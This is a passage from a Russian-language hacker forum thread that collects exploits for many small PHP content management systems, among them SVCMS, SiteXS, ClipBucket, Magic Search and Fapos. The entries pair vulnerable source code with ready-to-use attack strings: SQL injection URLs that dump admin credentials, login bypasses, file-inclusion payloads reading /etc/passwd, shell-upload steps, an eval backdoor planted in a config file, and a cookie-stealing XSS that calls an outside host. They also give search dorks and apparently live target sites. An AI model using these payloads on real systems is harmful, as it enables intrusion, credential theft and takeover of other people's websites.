$js= newjsAlert(_PHOTO_SUCCESSFULLY_ERASED_,"window.location='"._MODULE_URL_."&op=view&id=".$photo->getAlbum() ."';");
print$js->Alert();
}
else
{
$js= newjsAlert(_ERROR_WHILE_ERASING_PHOTO_,'hist ory.go(-1);');
print$js->Alert();
}
}
}
break;
}
require_once('footer.php');
?>
Шелл льем "в открытом виде" через картинки в меню альбомов:
http://temp/modules/Albums/albums/1/file/shell.php
4. XSS
ИКСы там повсюду (пассивки) - форма авторизации, поиск и т.д.
ljfCMS blind sql-inj [POST method]
made in china
login.php
"login_sucess","Action"=>"{$_POST[AName]}"));
alert("login sucess","location","index.php");
}
else
{
newActionLog(array("LogType"=>"login_err","Action"=>"{$_POST[AName]},{$_POST[APwd]}"));
alert("�û���������","location","login.php");
}
}
if($_GET['action'] =='logout')
{
$_SESSION['AID'] ='';
session_destroy();
}
?>
if(location.href != top.location.href)top.locati on.href=location.href;
�û���
����
Admin.php
AID))
{
$sql="select * from Admin where PID={$this->AID}";
$result=mysql_query($sql,$conn);
while($row=mysql_fetch_arr ay($result))
{
$arr[] = newAdmin($row);
}
}
return$arr;
}
functionparent()
{
global$conn;
$admin=NULL;
if($this->PID==0)
return$admin;
$sql="select * from Admin where AID={$this->PID}";
$result=mysql_query($sql);
if($row=mysql_fetch_array($result) )
{
$admin= newadmin($row);
}
return$admin;
}
functionCPower()
{
returnunserialize($this->CPower);
}
functionlogin($postdata)
{
extract($postdata);
global$conn;
if($AName==''||$APwd=='')
alert("�û������벻Ϊ��");
$sql="select * from Admin where AName='$AName'";
$result=mysql_query($sql);
if($row=mysql_fetch_array($result) )
{
if($row['APwd'] ==md5($APwd))
{
$_SESSION['AID'] =$row['AID'];
$_SESSION['AName'] =$row['AName'];
$_SESSION['Power'] =$row['Power'];
$_SESSION['CPower'] =$row['CPower'];
returntrue;
}
}
returnfalse;
}
functiondelete()
{
global$conn;
$sql="delete * from Admin where AID={$this->AID}";
mysql_query($sql);
$children=$this->children();
if($children)
{
foreach($childrenas$child)
$child->delete();
}
returntrue;
}
}
/*
CREATE TABLE `Admin` (
`AID` int(10) unsigned NOT NULL auto_incr ement,
`AName` varchar(255) NOT NULL,
`APwd` varchar(255) NOT NULL,
`PID` int(10) unsigned NOT NULL,
`AddDate` int(11) NOT NULL default '0',
`Power` int(11) NOT NULL default '0',
`CPower` text NOT NULL,
PRIMARY KEY (`AID`),
UNIQUE KEY `AName` (`AName`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1
*/
?>
Ну и собственно сплоит "на скорую руку":
SharedLog Alpha 1.0
В топку скули и ИКСы, сразу заливаемся!
slideshow_uploadaudio.content.php
....
sess();
$_SESSION['lang'] = @$_SESSION['lang']==''?'en':$_SESSION['lang'];//
$hdlTranslation->setLang($_SESSION['lang'] );
if ( isSet($_SERVER['REQUEST_METHOD']) ) {
//
if (strToUpper($_SERVER['REQUEST_METHOD'])=='POST') {
$H=$_POST;
}else if (strToUpper($_SERVER['REQUEST_METHOD'])=='GET') {
$H=$_GET;
}else {
$H= ( isSet($_GET['a']) ?$_GET: (isSet($_POST['a']) ?$_POST: array() ) ) ;
}
}
$a= (isSet($_GET['a']) ?$_GET['a'] :' ') ;
$a= ($a==' '&&isSet($_POST['a']) ?$_POST['a'] :$a) ;
$a=strToLower($a) ;
$H['lang'] = ( @$H['lang']!=''?$H['lang'] :'en') ;
set_cookie_reffered('ev_ref_id','ev_http','ev_date ');// from lib.sys
// Prevent not logged in user from accessing the pages for only logged in users.
// now must use session to store userID and maybe sid also. Sid is tied to user passw ord
// it's at least a substring of md5($password )
// it will be more secure to use both uid and sid, but not necessary.
if ( empty($_SESSION['user']['user_idnr']) )
{
if ( !isset($NOT_LOGINED_USER[$a]) )
{
redirect('/'.MAIN_FILE.'?a=login¬-logined&from='.urlEncode($H['a']) );
}
}
else
{
$arrUser=$_SESSION['user'];
}
if (!isset($hdlGlobal)) {
$hdlGlobal= newclsGlobal($objLogger,$hdlDb,$hdlCa che,$hdlTpl,$hdlTranslation,$arrUser,$arrSettings, $arrResourceType);
}
define('DIR_AUDIO',"/monster/Content/resources/audiofiles/");
#define('DIR_AUDIO', "/usr/local/apache/sites/dcomments.com/htdocs/video_streaming/prototype/resources/audiofiles/");//Temporary location
//this is used when audio file uploaded and inserted it will automatically get selected in dropdown
$intAudioClipId=0;
/*Language translation class for multilingual setup start*/
$H['lang'] = ( @$H['lang']!=''?$H['lang'] :'en') ;
#--------------------------------------------------------------------------
# TRANSLATION
#--------------------------------------------------------------------------
$GLOBALS['PARAMS']['strings_tables'] =$hdlCache->fnGetValues('arrLangs');
//$TR2 =& Translation2::factory($GLOBALS['tr2_driver'], $GLOBALS['DBINFO'], $GLOBALS['PARAMS'] ) ;
$_SESSION['lang'] = @$_SESSION['lang']==''?'en':$_SESSION['lang'] ;
$hdlTranslation->setLang($_SESSION['lang'] );
#--------------------------------------------------------------------------
/*Language translation class for multilingual setup end*/
$arrLangVars=$hdlTranslation->getPage("create_slide_show");
if(intval($_GET['imageid'])!=0)
{
$imageid=$_GET['imageid'];
}
else
{
$imageid=$_POST['tempimageid'];
}
/*Handling file upload start*/
if(isset($_POST['btnupload']))
{
$userid=$hdlGlobal->arrUser['user_idnr'];
if($_FILES['audiofile']['tmp_name'])
{
$flag=false;// flag variable used to check if there was any error while image upload, Aysha 9 Apr 2007
$strUploadPath=DIR_AUDIO."/".str_replace(" ","_",$_FILES['audiofile']['name']);
$hdlUploadFile= newclsUploadAVFiles();
if(!$hdlUploadFile->fnIsVirusInFile($_FILES['audiofile']['tmp_name']))
{
$strResult="Error uploading File, File contains virus!";
return$strResult;
}
//echo $strDestinationLocation;
if(move_uploaded_file($_FILES['audiofile']['tmp_name'],$strUploadPath))
{
$strType=$_FILES['audiofile']['type'];
$sqlResource="INSERT INTO `RESOURCE` SET `userinfo_id`=".$userid." , `resource_type_id`=3 , `description`='Auto created by Uploader' , `added_time`='".date("Y-m-d H:i:s")."', `upload_method_id`='www' , `img_type`='".$strType."' , `orig_name`='".$_FILES['audiofile']['name']."' , `deleted`='0' , `featured`='N' , `nntp_m essages_id`='0'";
$hdlDb->fnInsertUpdate($sqlResource,BR.__FILE__.BR.' in '.__FUNCTION__.'(); 20050705_032027 ') ;
$intResourceId=$hdlDb->fnLastInsertId('RESOURCE');
$strDestinationLocation=$hdlUploadFile->fnPreparePath($intResourceId,DIR_AUDIO,$strType,"","audio");
//**********Prepare location for audio file
/*echo $strUploadPath."
";
echo DIR_AUDIO."/".$strDestinationLocation;*/
copy($strUploadPath,DIR_AUDIO."/".$strDestinationLocation);
//**************Update avatar field in db
$sqlAudioFiles="INSERT INTO AUDIO_FILES VALUES('','".$userid."','".$_FILES['audiofile']['name']."','','".$intResourceId."',UNIX_TIMESTAMP( ),'N')";
$hdlDb->fnInsertUpdate($sqlAudioFiles,BR.__FILE__.BR.' in '.__FUNCTION__.'(); 20050705_032027 ') ;
$intAudioClipId=$hdlDb->fnLastInsertId('AUDIO_FILES');
unlink($strUploadPath);
$strResult="File uploaded successfully!";
}
else
{
$strResult="Image Uploading failed";
}
}
}
/*
function #-------------------{ fnGetPageSlideShows }-------------------()
{} */
# +-----------------------------------------------------------------------+
# | Description: Handling file upload end
# | Params: $intAudioClipId - Integer audio clip id
# +-----------------------------------------------------------------------+
functionfnGetHTMLSelectBoxAudioList($arrUser)
{
$html=''.
'Select Audio';
$html.=fnBuildAudioDropdownDynamicOptions($arrUser );
$html.='';
return$html;
}
functionfnBuildAudioDropdownDynamicOptions ($arrUser)
{
global$hdlDb;
/*Feching preloaded Audio files*/
// Temporary static files given
$html='----Preloaded Audio Clips----'.
'Audio file 1'.
'Audio file 2'.
'Audio file 3'.
'Audio file 4';
/*Fetching user's uploaded audio files*/
$userid=$arrUser['user_idnr'];
if(intval($userid)!=0)
{
$sqlAudioFiles="SELECT id,file_name,resource_id FROM AUDIO_FILE S WHERE user_id=".$userid;
$arrResAudioFiles=$hdlDb->fnFetchQueryResult($sqlAudioFiles,BR.__FILE__.BR.' in '.__FUNCTION__.'(); 20050705_032027 ') ;
if(count($arrResAudioFiles )>0)
{
$html.="";
$html.="----Your Audio Clips----";
$selected="";
foreach ($arrResA udioFilesas$arrRow)
{
$html.="".$arrRow['file_name']."";
}
}
return$html;
}
}
....
Usage:
-> Регаем юзера
-> В медиа-меню заливаем шелл "в открытом виде".
-> Методика именования заливаемых файлов следующая:
$ShellName=md5($_FILES['name']) ."_".$_FILES['name'];
-> То бишь заливая шелл shell.php будет именован(и расположен):
site.com/resources/audiodir/25a452927110e39a345a2511c57647f2_shell.php
SVCMS beta 1 (угоняем куки)
Еще один двиг не без прибабаха...
Мега кодеры этого двига при авторизации выдают след.куки:
__qca=P0-464638314-1305237775445; crocmint_aff=697b75;
POSTAff2Cookie=697b75_137d839c;
POSTAff2TimeCookie=1305037573_1308127486_7;
POSTAff2ClickCookie=d9913101; PAPR_0=1305557527_http%253A//temp/;
SVCMS_userid=1;
SVCMS_md5passwd=e5c72dd4eca5301feca1bb0985eed55f;
SVCMS_randomstring=13123908414e397eb92e187;
PHPSESSID=bmkmssmcvtbcoreee5uqj49vp6
наблюдаем это здесь(user.php):
.....
*Set the cookies
*/
private functionset_login_cookies($logout =false) {
$expire_val= ( ($logout) ? (time() -30) :time() +1209600);// 1209600 is two weeks
$randomstring=uniqid(time());
$md5_pass=md5($this->data['password'] .$randomstring);
$cookies= array(
'SVCMS_userid'=>$this->data['userid'],
'SVCMS_md5passwd'=>$md5_pass,
'SVCMS_randomstring'=>$randomstring,
);
foreach($cookiesas$cookie=>$cookie_value) {
setcookie($cookie,$cookie_value,$expire_val,'/','');
}
returntrue;
}
.........
И в добавок к этому они оставили активную xss в комментах!
То бишь:
img = new Image(); img.src = "http://day.mne/svoi.kuki?ciuda="+document.cookie;
-> Регулярим id и хэш, а так же $_SERVER['HTTP_REFERER']
-> брутим хэш (md5)
-> возвращаемся на $_SERVER['HTTP_REFERER']
-> смотрим ник по id (ссылка на нике комментирующих)
-> действуем по совести
MMO Games CMS 1.2 Final [shell upload]
(вроде "линеечный" двиг)
Есть файл, в нем функция, обновляющая запись таблицы 'accounts' (конкретно - поле урла авы)
functions.php
allow=false;
$sqlQuery="SELECT `login`, `password` FROM `accounts` WH ERE `login` = '$username'";
if(($records=mysql_query($sqlQuery )) !==false) {
$password=base64_encode(pack("H*",sha1(utf8_encode($password))));
$row=mysql_fetch_object($records);
if($password==$row->password) {
$_SESSION['UserID'] =$row->login;
header("location: index.php");
}
}
}
UserIDCheck($_POST['UserID'],$_POST['Password']);
}
if(isset($_GET['update']) &&$_GET['update'] =="avatarurl") {
$avatarURL=safe($_POST['avatarURL']);
mysql_query("UPDATE `accounts` SET `avatar`='$avatarURL' WH ERE `login`=' .$_SESSION['UserID'] . '");
}
# L2jEXODUS's CUSTOM MODDIFICATIONs - :::: END ::::
#------------------------------------------------------------------------------
?>
И если передать в POST запросе (на site.com/index.php?update=avatarurl) единственный параметр avatarURL со значением
то можно получить в полне готовый шелл...
путь_до_корня - site.com/includes/sidemenu.php
Fapos CMS 1.1.8(Последняя версия)
1. Обход ЧПУ
.htacess:
RewriteEngine On
RewriteBase/
RewriteCond%{REQUEST_FILENAME} !-d
RewriteCond%{REQUEST_FILENAME} !-f
RewriteRule^(.*)$index.php?url=$1[QSA,L]
Возможен обход ЧПУ(Что нам поможет в эксплуатации GET уязвимостей). Ну а на сам ЧПУ конечно же идёт фильтр:
if(!preg_match('#^[\#/\?&_\-=\.а-яa-z0-9]*$#ui',urldecode($_SERVER['REQUEST_URI'])))
...
?>
Который пропускает \n в конце строки
2. LFI
Зависимости: MQ=off, отключенная проверка URL на SQL-inj, бинарнонесовместимая функция is_file и include_once.
Файл: index.php
if (!isset($_GET['url'])) {
...
} else {
$pathParams=explode('/',$_GET['url']);
foreach ($pathParamsas$ke y=>$value) {
if (empty($value) ) unset($pathParams[$key]);
}
}
if (empty($pathParams)) {
...
}
//may be i need upgrade this...hz
if (count($pathParams) ==1&&preg_match('#^\d+$#',$pathParams[0])) {
...
} else if (count($pathParams) ==0) {
...
}
foreach ($pathParamsas$key=>$val) {
$pathParams[$key] =trim($val);
}
return$pathParams;
...
$this->callAction($pathParams);
...//function callAction($params)
if (!is_file('modules/'.strtolower($params[0]) .'/index.php')) {
...
}
include_once'modules/'.strtolower($params[0]) .'/index.php';
Обычные слэши использовать нельзя, однако кроме них можно ещё кучей способов эуспулотировать LFI: http://wfuzz.googlecode.com/svn-history/r2/trunk/wordlist/vulns/dirTraversal-nix.txt
Остальной код в CMS разбросан по модулям(Это будут уже уязвимости модулей.).
Эксплоит:/?url=news\index.php%00h
ExpCMS blind sql-inj
* @copyright Copyright (C) 2003 Piotr Usewicz
* @access public
* @package ExpCMS
* @subpackage Auth
*/
classAuth
{
/**
* AuthStart: Used for initializing ma in functions for auth
* @access public
*/
functionAuthStart()
{
global$_EXPCMS;
}// end func AuthStart()
/**
* Authenticate: Checks whether user n ame and password are valid
* @access public
* @param string Use r name
* @param string Use r password
* @return boolean T rue/False if authentication is ok/not ok
*/
functionAuthenticate($user_name,$user_password)
{
global$_EXPCMS;
if ( isset ($user_name) && isset ($user_password))
{
$result=$_EXPCMS->db->Execute("SELECT user_id, user_pass from ".$_EXPCMS->config->GetVar("Tables.Auth") ." where user_name = '$user_name'");
if ($result===false)
{
RaiseError(__FILE__,__LINE__,"Error executing db query:".$_EXPCMS->db->ErrorMsg() );
}
else
{
$user=$_EXPCMS->db->GetArray();
// check if login is correct, if yes, save session variables
if (md5($user_pass) ==$user['user_pass'] )
{
$_EXPCMS->session->SessionRegister("authenticated",1);
$_EXPCMS->session->SessionRegister("user_name",$user_name);
$_EXPCMS->session->SessionRegister("user_pass",$user['user_pass'] );
$_EXPCMS->session->SessionRegister("user_id",$user['user_id'] );
// when authenticated
$_EXPCMS->session->SessionRegister("timestamp",time() );
// time since last action... used for session/auth timeout
$_EXPCMS->session->SessionRegister("idle",time() );
returntrue ;
}
else
{
returnfals e;
}
}
}
}// end func Authenticate()
/**
* IsAuthenticated: Checks if user is authenticated
* @access public
* @param string User name
* @return boolean Whether is or not authenticated
*/
functionIsAuthenticated($user_name)
{
global$_EXPCMS;
// check if we got the session variables set
if ($_EXPCMS->session->SessionIs("authenticated") &&$_EXPCMS->session->SessionGet("authenticated") ==1)
{
returntrue;
}
else
{
returnfalse;
}
}// end func IsAuthenticated()
/**
* SetIdle: Sets new idle time
*
* Used when user has performed an a ction. Refreshes the last action time.
* When idle time is too long, sessi on can be timed out.
*
* @access public
* @param integer Optional - new idle time to add to current time
*/
functionSetIdle($time=0)
{
global$_EXPCMS;
if ($_EXPCMS->session->SessionIs("authenticated") &&$_EXPCMS->session->SessionGet("authenticated") ==1&&$_EXPCMS->session->SessionIs("user_name") )
{
if ($time==0)
{
$_EXPCMS->session->SessionRegister("idle",time() );
}
else
{
$_EXPCMS->session->SessionRegister("idle",time() +$time);
}
}
}
}
?>
В поле логина(если всетаки есть вывод ошибок):
admin'+OR+'pwd'='pwd'+UNION+SELECT+group_concat(us er_id,0x3a,user_pass+separator+0x3c62723e),2+from+ gry_users+--
ну, а если нет вывода - то как слепую(поля и таблица есть)
DeepBlue7
22.08.2011, 23:00
Mu Online Advanced webshop alert(document.cookie)
При входе, логин/пасс(мд5) пишется в куки. Уязвимый код : inc/sajax.php
ottoman cms[SQL-Injection]
view.php
...
include'header.php';
// Detect If User Is Logged In
if (empty($logged_in)) {$login_form="form"; include'login.php'; }
else {
$id=$_GET['id'];
$type=$_GET['type'];
switch($type)
{
casearticle:
// Top Menu
echo"Article Viewer";
$article_sql=mysql_query("SELECT * FROM articles WHERE id = '$id'");
while($article=mysql_fetch_array($article_sql)){
$article= newArticle($article[id]);
$article->show();
echo"
$article->article_name";
if ($article->article_status=="private") { echo" [private]"; }
if ($article->article_status=="draft") { echo" [draft]"; }
...
exploit:
http://temp/veiw.php?type=article&id=1+UNION+SELECT+1,group_concat(admin_user,0x3a,a dmin_pass+SEPARATOR+0x3c62723e),3,4,5,6,7+FROM+con figuration+--
SiteXS CMS [SQL-inj && XSS && PHP-inc]
++++++++++++
...this is the beginning, of progressive attack... (c) The Theme, Brooklyn Bounce
++++++++++++
dork: "is powered by SiteXS CMS"
1::SQL-inj::[GET]
users.class.php
...
global$HTTP_GET_VARS,$HTTP_POST_VARS;
$this->id=$HTTP_GET_VARS["id"];
...
$res=$db->query("select * from users where id=".$this->id);
$this->data=$db->fetch_array($res);
...
exploit:
http://temp/modules/member.php?id=-666+UNION+SELECT+1,group_concat(login,0x3a,pass+SE PARATOR+0x3c62723e),3,4,5,6,7+FROM+users+WHERE+adm in=1+--
2::SQL-inj::[GET]
subscribe.class.php
...
$this->mid=$HTTP_GET_VARS["mid"];
...
$res=$db->query("select * from subs_messages where id=".$this->mid);
...
exploit:
http://temp/lib/message.php?mid=-666+UNION+SELECT+1,2,3,group_concat(login,0x3a,pas s+SEPARATOR+0x3c62723e),5,6,7,8,9+FROM+users+WHERE +admin=1+--
3::SQL-inj::[GET]
sitemap.class.php
...
$data["id"] =$HTTP_GET_VARS["did"];
...
function_sel($id=0,$url="",$menu=0)
...
$sel.=$this->_sel($data["id"],$url1);
...
$res=$db->query("select id, title, url from chapters where ( pid=$idand url<>'searchresult' and url<>'sitemap' and type<>4 and id<>1)$whereorder by sortorder");
...
exploit:
http://temp/lib/map.php?did=-666+UNION+SELECT+group_concat(login,0x3a,pass+SEPA RATOR+0x3c62723e),2,3+FROM+users+WHERE+admin=1+--
4:HP-inc
export.php
...
$page=$HTTP_GET_VARS["pg"];
...
include"$root/lib/$page.php";
...
foreach ($linesas$key=>$value) {
if (trim($value)) {
$tmp=explode("|||",trim($value));
preg_match("'(\d{1,2})\.(\d{1,2})\.(\d{1,4}) (\d{1,2}):(\d{1, 2}):(\d{1,2})'",$tmp[1],$time_arr);
$tmp[1]=mktime($time_arr[4],$time_arr[5],$time_arr[6],$time_arr[2],$time_arr[1],$time_arr[3]);
$tmp[3]=str_replace("\\n","||||||||n",$tmp[3]);
$tmp[3]=$hc->cleanup(stripslashes($tmp[3]));
$tmp[3]=str_replace("||||||||n","\\n",$tmp[3]);
$res=$db->query("select id from news where matID=$tmp[0]");
if (!$db->num_rows($res)) {
$db->query("insert into news set time='$tmp[1]', title='$tmp[2]', text='$tmp[3]', matID='$tmp[0]'");
}
$arr[]=$tmp;
...
exploit:
http://temp/lib/export.php?pg=../../../../../../etc/passwd%00
5:HP-inc
post.php
_POST($_POST);
}
?>
exploit:
by POST method!
http://temp/post.php?type=../../../../../../../etc/passwd%00
6::SQL-inj::[POST]
adm.class.php
...
if ($_POST["user"] &&$_POST["pass"]) {
$db=newsql;
$db->connect();
$res=$db->query("select id, pass from users where login='".$_POST["user"]."'");
$data=$db->fetch_array($res);
...
exploit:
ASEN CMS 5.4.2
http://wap-studio.ru
обход авторизации
логин ' or 1=1-- пасс любой
winstrool
08.10.2011, 17:01
VentaCMS [SQL-inj]
search.php
SQL-inj::[POST]
...
Поиск услуг по городам
">
">
">
str; ?>" id="text" />
-->
Ваш город
$city) { ?>
">
...
mod_search.php
...
if($_POST['action']=="search")
{
$error = "";
if((strlen(trim($_POST['str']))city_id && !$request->cat_id) $error['str'] = "Вы указали неправильные параметры поиска";
if(!$error)
{
$offerObj = new absOffers();
$search['offers'] = $offerObj ->siteSearch($request->str, $request->city_id, $request->cat_id); // search in offers
$send = true;
}
}
...
absOffers.php
...
function siteSearch ($str = null, $city = null, $cat = null) // поиск по заголовку и тексту страниц сайта
{
global $mysql;
$select = new SelectFromDB($mysql, __LINE__);
$select -> addWhere("active='1'");
if($city) $select -> addWhere("city_id='$city'");
if($cat) $select -> addWhere("cat_id='$cat'");
// if($str) $select -> addWhere("MATCH (caption, description) AGAINST ('".trim($str)."' IN BOOLEAN MODE)");
if($str) $select -> addWhere("(caption LIKE '%".trim($str)."%' OR description LIKE '%".trim($str)."%')");
$select
-> addFild("{$this->table}.*")
-> addFild("(SELECT COUNT( item_id ) FROM mod_offer_comments WHERE active = '1' AND mod_offers.id = item_id) AS comments"); // Вложенный подзапрос количество комментов
return $select -> addFrom($this->table) -> addOrder($this->order, DESC) -> queryDB();
}
...
exploit:
...
Поиск услуг по городам
...
Пример уязвимого сайта:
_http://spravim.ru/
Сайт производителя:
_http://www.promo-venta.ru/
Strilo4ka
30.10.2011, 18:52
_http://flexigrid.info/ -> плагин таблицы для jquery
_http://iexx.biz/post/dynamic tables with FlexGrid.html -> рабочий пример с реализацией на PHP
_http://sanderkorvemaker.nl/test/flexigrid/flexigrid.zip -> исходники
index.php
...$("#flex1").flexigrid
(
{
url: 'post2.php',...
post2.php вытаскивает записи с БД у указаными параметрами количество записей, страница, сортировка, данные с grida лезут.
Отлавливаем скрипт, напрямую обращаемся и проверяем параметры.
blind sql
=> false
=>true
ClipBucket CMS
ClipBucket CMS 2.6 (последняя версия)
clip-bucket.com
prefix: cb_
dorki: Forged by ClipBucket // Arslan Hassan // view_item.php collection item type
exploits:
Time-Based
GET /watch_video.php?v=GNDB5XUWMW32' AND 666=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),CHAR(32))),1,1)) > 1),SLEEP(5),666) AND 'qwe'='qwe
или
Boolean-Based
GET /view_item.php?item=DKHM63R22191' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0,1),1,1)) > 112 AND 'qwe'='qwe&type=photos&collection=9
examples:
http://video.tv-kino.com/view_item.php?collection=10&item=58HOS3XG5G4U&type=videos
admin:3afe97fe4ad12d234bec2db193e8e649
http://medvideo.kz/view_item.php?item=DKHM63R22191&type=photos&collection=9
http://watched.eu/watch_video.php?v=X7D8XUB7GAUG
Shell Upload:
1) разрешить php как расширение при загрузке
2) разрешить php в шаблонах
3) упаковать в zip и через плагины
админка: /admin_area
Ну и собстенно сюрприз:
function pass_code($string) {
$password = md5(md5(sha1(sha1(md5($string)))));
return $password;
}
vurnel files:
view_item.php
is_viewable($cid))
{
if(empty($item))
header('location:'.BASEURL);
else
{
if(empty($type))
header('location:'.BASEURL);
else
{
assign('type',$type);
$param= array("type"=>$type,"cid"=>$cid);
$cdetails=$cbcollection->get_collections($param);
$collect=$cdetails[0];
switch($type)
{
case"videos":
case"v":
{
global$cbv ideo;
$video=$cbvideo->get_video($item);
if(video_p layable($video))
{
//Getting list of collection items
$page=mysql_clean($_GET['page']);
$get_limit=create_query_limit($page,20);
$order=tbl("collection_items").".ci_id DESC";
$items=$cbvideo->collection->get_collection_items_with_details($cid,$order,$get _limit);
assign('items',$items);
assign('open_collection','yes');
$info=$cbvideo->collection->get_collection_item_fields($cid,$video['videoid'],'ci_id,collection_id');
if ($info)
{
$video=array_merge($video,$info[0]);
increment_views($video['videoid'],'video');
assign('object',$video);
assign('user',$userquery->get_user_details($video['userid']));
assign('c',$collect);
subtitle($video['title']);
} else {
e(lang("item_not_exist"));
$Cbucket->show_page=false;
}
} else {
e(lang("item_not_exist"));
$Cbucket->show_page=false;
}
}
break;
case"photos":
case"p":
{
global$cbp hoto;
$photo=$cbphoto->get_photo($item);
if($photo)
{
$info=$cbphoto->collection->get_collection_item_fields($cid,$photo['photo_id'],'ci_id');
if ($info)
{
$photo=array_merge($photo,$info[0]);
increment_views($photo['photo_id'],'photo');
assign('object',$photo);
assign('user',$userquery->get_user_details($photo['userid']));
assign('c',$collect);
subtitle($photo['photo_title'].' « '.$collect['collection_name']);
} else {
e(lang("item_not_exist"));
$Cbucket->show_page=false;
}
} else {
e(lang("item_not_exist"));
$Cbucket->show_page=false;
}
}
break;
}
}
}
} else
$Cbucket->show_page=false;
template_files('view_item.html');
display_it();
?>
watch_video.php
perm_check('view_video',true);
$pages->page_redir();
//Getting Video Key
$vkey= @$_GET['v'];
$vdo=$cbvid->get_video($vkey);
assign('vdo',$vdo);
if(video_playable($vdo))
{
/**
* Please check http://code.google.com/p/clipbucket/issues/detail?id=168
* for more details about following code
*/
if(SEO=='yes')
{
//Checking if Video URL is Exactly What we h ave created
$vid_link=videoLink($vdo);
$vid_link_seo=explode('/',$vid_link);
$vid_link_seo=$vid_link_seo[count($vid_link_seo) -1];
//What we are getting
$server_link=$_SERVER['REQUEST_URI'];
$server_link_seo=explode('/',$server_link);
$server_link_seo=$server_link_seo[count($server_link_seo) -1];
//Now finally Checking if both are equal else redirect to new link
if($vid_link_seo!=$server_link_seo)
{
//Redirect to valid link leaving mark 301 Per manent Redirect
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.$vid_link);
exit();
}
}
//Checking for playlist
$pid=$_GET['play_list'];
if(!empty($pid))
{
$plist=$cbvid->action->get_playlist($pid,userid());
if($plist)
$_SESSION['cur_playlist'] =$pid;
}
//Calling Functions When Video Is going to pl ay
call_watch_video_function($vdo);
subtitle($vdo['title']);
}else
$Cbucket->show_page=false;
//Return category id without '#'
$v_cat=$vdo['category'];
if($v_cat[2] =='#') {
$video_cat=$v_cat[1];
}else{
$video_cat=$v_cat[1].$v_cat[2];}
$vid_cat=str_replace('%#%','',$video_cat);
assign('vid_cat',$vid_cat);
//Displaying The Template
template_files('watch_video.html');
display_it();
?>
functions.php
true,'mysql_clean'=>false))
{
if($array['no_html'])
$string=htmlentities($string);
if($array['special_html'])
$string=htmlspecialchars($string);
if($array['mysql_clean'])
$string=mysql_real_escape_string($string);
if($array['nl2br'])
$string=nl2br($string);
return$string;
}
//This Fucntion is for Securing Password, you may change its combination for security rea son but make sure dont not rechange once y ou made your script run
functionpass_code($string) {
$password=md5(md5(sha1(sha1(md5($string)))));
return$password;
}
//Mysql Clean Queries
functionsql_free($id)
{
if (!get_magic_quotes_gpc())
{
$id=addslashes($id);
}
return$id;
}
functionmysql_clean($id,$replacer=true){
//$id = clean($id);
if (get_magic_quotes_gpc())
{
$id=stripslashes($id);
}
$id=htmlspecialchars(mysql_real_escape_string($id) );
if($replacer)
$id=Replacer($id);
return$id;
}
functionescape_gpc($in)
{
if (get_magic_quotes_gpc())
{
$in=stripslashes($in);
}
return$in;
}
//Redirect Using JAVASCRIPT
functionredirect_to($url){
echo'
window.location = "'.$url.'"
';
exit("Javascript is turned off, click here to go to requested page");
}
//Test function to return template file
functionFetch($name,$inside=FALSE)
{
if($inside)
$file=CBTemplate::fetch($name);
else
$file=CBTemplate::fetch(LAYOUT.'/'.$name);
return$file;
}
//Simple Template Displaying Function
functionTemplate($template,$layout=true){
global$admin_area;
if($layout)
CBTemplate::display(LAYOUT.'/'.$template);
else
CBTemplate::display($template);
if($template=='footer.html'&&$admin_area!=TRUE){
CBTemplate::display(BASEDIR.'/includes/templatelib/'.$template);
}
if($template=='header.html'){
CBTemplate::display(BASEDIR.'/includes/templatelib/'.$template);
}
}
functionAssign($name,$value)
{
CBTemplate::assign($name,$value);
}
//Funtion of Random String
functionRandomString($length)
{
$string=md5(microtime());
$highest_startpoint=32-$length;
$randomString=substr($string,rand(0,$highest_start point),$length);
return$randomString;
}
Magic Search 1.4(http://magicsearch.pp.ua/)
dorks: "Created by Kiria-Studio"
В продолжение этой темы: /thread298944.html
SQL Injection
/static.php
if (isset($_GET['str'])) {$str=$_GET['str']; }
if (!isset($str))
/* Проверяем, является ли п еременная числом */
if (!preg_match("|^[\d]+$|",$str)) {
exit ("Неверный формат запроса! роверьте url!
Если вы уверены что мы д али вам данную ссылку соо бщите нам с помощью обрат ной связи ");
}
$result=mysql_query("SELECT * FROM static WHERE str='$str'");
/**
Логики вообще никакой. Ес и есть $_GET['str'] то устанавливаем перемен ную $str, если нет, то прове ряем, является ли она чис ом. оО
Ну и без какой-либо обработки собственно происходит запрос в базу данных.
**/
PoC:
/static.php?str='+and+1=2+union+select+1,2,concat_w s(0x3a,version(),user(),database())+--+
NEED: magiq_quotes = OFF
Local File Include
/page.php
if ($_COOKIE['langu']) {
include_once("./languages/".$_COOKIE['langu']."-language.php");
}
PoC:
В cookies:
langu=../../../../../etc/passwd%00
Shell Upload
не уверен что можно так назвать эту уязвимость Жесткий и палевный метод.
/install.php
if(isset($_POST['go_ed'])) {
if (!is_writable("settings/database.php")) {
print "Файла database.php несуществует или незаданы права досту па 666";
} else {
$fhandle=fopen("settings/database.php","w");
fwrite($fhandle,"'40')
{
header("Location: index.php");
}
if(($_REQUEST['login']==$f['username']) && ($_REQUEST['passwd']==$f['password']))
Конечно, данная строка нас должна удручить.
Но! =)
PoC:
Login: ' AND 1=2 UNION SELECT 1,SUBSTR(info,37,LENGTH(info)-36-1),3,50 FROM information_schema.processlist --
Password: 3
NEED: magiq_quotes = OFF
Shell Upload
Нужны права на правку /settings/conf.php, и права администратора.
URL: /admin/?f=settings
Редактируем любой параметр на
'; @eval($_REQUEST['cmd']); $s='
Выполнение кода:
/settings/conf.php?cmd=phpinfo();
NEED: magiq_quotes = OFF
Узнаем логин:пароль к базе данных.
/dumper.php
if (!empty($_POST['login']) && isset($_POST['pass'])) {
if (@mysql_connect(DBHOST,$_POST['login'],$_POST['pass'])){
setcookie("sxd",base64_encode("SKD101:{$_POST['login']}:{$_POST['pass']}"));
header("Location: dumper.php");
mysql_close();
exit;
}
Остается заполучить cookies админа, после того как он делал бэкап.
XSS через SQL-inj:
/static.php?str='+and+1=2+union+select+1,2,'alert(d ocument.cookie);'+--+
В параметр sxd будет содержаться закодированный логин и пасс к бд. Алгоритм шифрования - base64.
tabletkO
05.11.2011, 17:29
Website Baker CMS
Website Baker CMS заливка шелла, все версии
Нужна админка. Уязвимость существует из-за того, что админы этой CMS незнают, что можно *.phtml выполнять как php
1) Идем в админку:
http://www.opensourcecms.com/demo/2/68/Website_Baker
admin:demo123
2) В раздел Media
